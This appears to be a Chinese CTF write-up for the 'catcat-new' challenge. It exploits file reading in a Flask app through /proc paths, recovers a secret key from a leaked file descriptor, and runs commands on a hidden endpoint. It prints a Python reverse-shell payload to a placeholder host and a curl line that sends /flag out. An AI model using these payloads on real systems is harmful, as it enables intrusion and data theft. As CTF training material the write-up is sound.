马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
常见读取路径
攻防天下33 catcat-new【文件包罗/flask_session伪造】_攻防天下 catcat-new-CSDN博客
这道题也有
/etc/passwd=====一些用户和权限尚有一些七零八落的
/proc/self/cmdline=====包罗用于开始当进步程的下令
/proc/self/cwd/app.py======当前工作目次的app.py
/proc/self/environ=====包罗了可用历程的环境变量
/proc/pid/exe =====包罗了正在历程中运行的步伐链接;
/proc/pid/fd/ =====这个目次包罗了历程打开的每一个文件的链接;
/proc/pid/mem =====包罗了历程在内存中的内容;
/proc/pid/stat =====包罗了历程的状态信息;
/proc/pid/statm =====包罗了历程的内存使用信息。
非预期解:url=/flag 出flag
网站功能:
- <html>
- <meta http-equiv="refresh" content="0;url=http://www.baidu.com/">
- </html>
- 网站功能:刷新界面并跳转到百度
复制代码 读取passwd
读取环境变量
- /proc/self/environ
- self位置为PID:代表进程 ID(Process ID),是系统为每个正在运行的进程分配的唯一标识符
- 若一个进程的 ID 是 1234,那么该进程的相关信息就存储在 /proc/1234 目录下
复制代码
环境变量内里的 PWD=/app 这里告诉我们这是在/app目次下举行的
该环境变量表现 当前工作目次(Present Working Directory),即历程所在的文件体系路径。
- /app 是当进步程的根目次或应用步伐的主目次(常见于容器化环境,如 Docker)。
- 当用户在终端中实验下令时,默认操纵路径即 PWD 的值。
读取启动当进步程的完备下令
读取app.py文件:
- /proc/self/cwd/app.py
- cwd 代表 “Current Working Directory”(当前工作目录)
复制代码- from flask import Flask, Response
- from flask import render_template
- from flask import request
- import os
- import urllib
- app = Flask(__name__)
- SECRET_FILE = "/tmp/secret.txt"
- f = open(SECRET_FILE)
- SECRET_KEY = f.read().strip()
- os.remove(SECRET_FILE)
- @app.route('/')
- def index():
- return render_template('search.html')
- @app.route('/page')
- def page():
- url = request.args.get("url")
- try:
- if not url.lower().startswith("file"):
- res = urllib.urlopen(url)
- value = res.read()
- response = Response(value, mimetype='application/octet-stream')
- response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
- return response
- else:
- value = "HACK ERROR!"
- except:
- value = "SOMETHING WRONG!"
- return render_template('search.html', res=value)
- @app.route('/no_one_know_the_manager')
- def manager():
- key = request.args.get("key")
- print(SECRET_KEY)
- if key == SECRET_KEY:
- shell = request.args.get("shell")
- os.system(shell)
- res = "ok"
- else:
- res = "Wrong Key!"
- return res
- if __name__ == '__main__':
- app.run(host='0.0.0.0', port=8080)
复制代码 增补一点urllib的知识
python2中urllib的urlopen可以直接通过文件路径读取文件
毛病所在处
- SECRET_FILE = "/tmp/secret.txt"
- f = open(SECRET_FILE)
- SECRET_KEY = f.read().strip()
- os.remove(SECRET_FILE)
- 文件描述符未关闭:代码打开文件后未显式关闭,导致文件描述符在os.remove()时可能仍处于打开状态。
- 已删除文件的可读性:在Unix系统中,若文件被删除但有进程仍持有其文件描述符,可通过/proc访问该描述符读取内容。
- 正常情况下应该是用f.close()
- 或者用with语句自动实现文件描述符的关闭
- 如:
- with open(SECRET_FILE) as f:
- SECRET_KEY = f.read().strip()
- os.remove(SECRET_FILE) # 确保在文件关闭后删除
复制代码 关于文件形貌符
文件形貌符是什么:
文件形貌符(File Descriptor)是操纵体系分配给已打开文件的“暂时编号”(雷同你去银行服务时拿到的列队号码)。步伐通过这个编号操纵文件(读/写)。
linux启动后,会默认打开3个文件形貌符,分别是:
- 标准输入: standard input //0
- 正确输出: standard output //1
- 错误输出: error output //2
复制代码 注意:
1.以后再打开文件,形貌符可以依次增长
2.一条shell下令,都会继续其父历程的文件形貌符,因此全部的shell下令,都会默认有三个文件形貌符。
文件全部 输入输出 都是由该历程全部 打开的 文件形貌符 控制的
(Linux统统皆文件,就连键盘表现器装备都是文件,因此他们的输入输出也是由文件形貌符控制)
文件形貌符未关闭会发生什么:
当一个步伐(如 Python 脚本)打开了一个文件(如 open("/tmp/secret.txt")),但未显式调用 f.close() 或未使用 with 语句主动关闭文件时,操纵体系会以为该文件仍被占用(仍然在使用中)。此时,纵然代码中调用了 os.remove(SECRET_FILE) 删除了文件,实际文件内容仍大概通过未关闭的文件形貌符被读取到(其内容仍会残留在磁盘上)。
我们可以通过访问/proc/self/fd/<文件形貌符>来访问某个特定的文件
怎么获取这次的文件形貌符:
。。。罗列
获取key
- /proc/self/fd/3
- fd为文件描述符(file descriptors)
复制代码 关于下令的重定向
[CTF]-反弹shell[1]_反弹shell ctf-CSDN博客
针对文件形貌符的操纵
- 输入重定向< <<
- 输出重定向> >>
- 标准输入符 0
- 正确输出 1
- 错误输出 2
复制代码 输入重定向
file文件中存在内容
‘hello world’
- [n]< word 表示以只读方式打开,默认为0
- 注意[n]和 < 之间没有空格
- root@kali:~# cat 0< file
- hello world
- root@kali:~# cat < file
- hello world
- root@kali:~# 0< file cat
- hello world
- root@kali:~# < file cat
- hello world
复制代码 0是尺度输入,将尺度输入重定向到file,当cat要读取指令的时间,要从输入内里读取指令,此时就会在尺度输入也就是file内里读取内容
也就是说,0< 告诉盘算机不要从键盘里得到输入而是要从file内里得到输入
- [n]> word 表示以写的方式打开,默认为1
- root@kali:~# echo hello > file
- root@kali:~# cat file
- hello
- root@kali:~# echo world 1> file
- root@kali:~# cat file
- world
- root@kali:~# > file echo hello
- root@kali:~# cat file
- hello
- root@kali:~# > file echo world
- root@kali:~# cat file
- world
复制代码
输入key并实验下令,但是没有回显,此时思量到反弹shell
第一种解法:python反弹shell
注意:这里的key和shell必要颠末url编码!由于key中会存在+/=等符号,必要编码后才行
编码前
- /no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0=
- &shell=python -c
- 'import socket,subprocess,os;
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
- s.connect(("xxxxxxxxx",8888));
- os.dup2(s.fileno(),0);
- os.dup2(s.fileno(),1);
- os.dup2(s.fileno(),2);
- p=subprocess.call(["/bin/sh","-i"]);'
复制代码 编码后
- /no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0%3D
- &shell=python%20%2Dc%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22xx%2Exxx%2Exxx%2Exx%22%2C8888%29%29%3Bos%2Edup2%28s%2Efileno%28%29%2C0%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C1%29%3B%20os%2Edup2%28s%2Efileno%28%29%2C2%29%3Bp%3Dsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%29%3B%27
复制代码 腾讯云服务器的一些题目
第一次整服务器碰到一些困扰我的题目,浅写一下这次是怎么办理的:
题目一:端口是4567大概3333在bp中发送哀求的时间不绝不可,半天没回应
换成8888,我也不知道为啥我这只有8888能乐成。。。显着其他端口的防火墙都放开了。。
题目二:如图,是困扰我最久的一个
8888端口已经被占用了,一查还是宝塔面板占用的,你要是把它kill掉吧,你的宝塔面板一转头又有新的历程了,怎么杀都杀不死
杀不死咱就绕过嘛嘿嘿,宝塔面板默认端口是8888,把它改成其他的
然后8888就能正常监听啦
题目三:怎么竣事监听
偶然间摁了个 control+C 然后自己竣事了。。?
踏马的,终于反弹出来了,终于看到这个Connection received了。遥想当年轻龙组那道note题反弹了一个星期都没反弹个p出来,冲动的要掉小珍珠了
第二种解法:curl反弹shell
注意还是要编码 还要base64编码输出,不编码就输出不出来(为啥)
- /no_one_know_the_manager?key=5MMmHXw5q5FzvNFORsDKnImPBRHbcZ9MlLNHIviypt0%3D&shell=curl%20xxxx:8888/`cat%20/flag|base64`
- 命令自己改
复制代码
本题总结:
|